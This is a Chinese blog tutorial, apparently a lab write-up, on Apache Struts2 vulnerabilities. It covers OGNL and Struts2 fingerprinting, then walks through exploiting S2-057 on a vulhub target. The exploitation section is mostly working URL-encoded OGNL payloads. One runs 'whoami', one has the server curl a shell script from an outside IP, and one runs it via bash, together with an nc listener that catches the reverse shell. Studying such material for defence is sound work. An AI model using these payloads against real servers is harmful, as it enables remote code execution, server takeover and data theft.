常见框架漏洞之二:struts2

简介

Apache Struts 2 最初被称为 WebWork 2,它是⼀个简洁的、可扩展的框架,可⽤于创建

企业级Java web应⽤程序。设计这个框架是为了从构建、部署、到应⽤程序维护⽅⾯来简化整个

开发周期。

■ Struts 2 是⼀个基于MVC设计模式的web应⽤框架:

MVC:模型(Model)、视图(View)、控制器(Controller):

■ 模型 --- 属于软件设计模式的底层基础,主要负责数据维护。

■ 视图 --- 这部分是负责向⽤户呈现全部或部分数据。

■ 控制器 --- 通过软件代码控制模型和视图之间的交互。

Struts 2 在2007年7⽉23⽇发布的第⼀个Struts 2漏洞S2-001。

Struts2漏洞是⼀个远程命令执⾏漏洞和开放重定向漏洞。利⽤漏洞,⿊客可发起远程攻击,不但可以窃取⽹站数据信息,甚⾄还可取得⽹站服务器控制权。⽽且,⽬前针对此漏洞的⾃动化⼯具开始出现,攻击者⽆需具备与漏洞相关的专业知识即可侵⼊服务器,直接执⾏命令操作,盗取数据甚⾄进⾏毁灭性操作。

OGNL表达式

○ OGNL(Object-Graph Navigation Language的简称),struts框架使⽤OGNL作为默

认的表达式语⾔。

○ 它是⼀种功能强⼤的表达式语⾔,通过它简单⼀致的表达式语法,可以存取对象的任意

属性,调⽤对象的⽅法,遍历整个对象的结构图,实现字段类型转化等功能。

○ OGNL是通常需要结合Struts 2的标志⼀起使⽤的,主要是#、%、$ z这三个符号的使⽤:

■ #:获得contest中的数据;

■ %:强制字符串解析成OGNL表达式;

■ $:在配置⽂件中可以使⽤OGNL表达式。

判断Struts2框架

1. 通过⽹⻚后缀来判断,如.do .action,有可能不准。

2. 判断 /struts/webconsole.html 是否存在来进⾏判断,需要 devMode 为 true。

3. 通过 actionErrors,要求是对应的 Action 需要继承⾃ ActionSupport 类。

a. 如原始 URL 为 https://threathunter.org/则检测所⽤的 URL 为https://threathunter.org/?actionErrors=1111;

如果返回的⻚⾯出现异常,则可以认定为⽬标是基于 Struts2 构建的。异常包括但不限于以下⼏种现象

1、 ⻚⾯直接出现 404 或者 500 等错误。

2、 ⻚⾯上输出了与业务有关错误消息,或者 1111 被回显到了⻚⾯上。

3、 ⻚⾯的内容结构发⽣了明显的改变。

4、 ⻚⾯发⽣了重定向。

S2-057远程执⾏代码漏洞

环境

vulhub靶场 /struts2/s2-057

漏洞简介

漏洞产⽣于⽹站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使⽤通配符namespace时,可能会导致远程代码执⾏漏洞的发⽣。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使⽤通配符namespace,从⽽导致远程代码执⾏漏洞的发⽣。

S2-057 先决条件:

alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使⽤了通配符⽤户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执⾏漏洞。

漏洞利⽤

访问靶机地址:http://8.138.19.182:8080/struts2-showcase/

在url处输⼊8.138.19.182:8080/struts2-showcase/${(123+123)}/actionChain1.action

后刷新可以看到中间数字位置相加了

将上⾯验证payload的值修改为我们的利⽤exp:

$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

反弹shell
$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27curl http://8.138.19.182/1.txt -o sis.sh%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

开启监听

nc -lvvp 8888

$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27bash sis.sh%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

监听到了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

执念WRD

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值